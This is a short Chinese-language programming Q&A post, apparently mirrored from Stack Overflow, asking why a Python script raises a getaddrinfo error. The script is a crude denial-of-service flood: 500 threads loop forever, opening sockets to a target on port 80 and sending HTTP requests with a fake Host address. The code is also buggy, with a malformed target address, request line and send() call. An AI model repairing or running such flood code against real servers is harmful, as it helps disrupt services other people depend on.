【发布时间】:2021-06-01 09:12:02
【问题描述】:
当我运行我的代码时,我得到这个错误:s.connect((target, port)) 和 socket.gaierror: [Errno 11001] getaddrinfo failed
这是我的代码:
import socket
import threading
port = 80
target = ' 127.0.0'
fakeip = '168.192.1.1'
def attack():
while 5>3:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
#v prvem oklepaju je sam to da ti spot pise, ne nucas met v kodii
s.send(('Get /' + target + 'HTTP/1.1\r\n').encode('ascii'), (target, port))
s.send(('Host:' + fakeip + '\r\n\r\n').encode('ascii'), (target, port))
s.close()
for i in range(500):
thread = threading.Thread(target=attack)
thread.start()
错误在第 9 行 (s.connect((target, port))
【问题讨论】:
标签: python multithreading sockets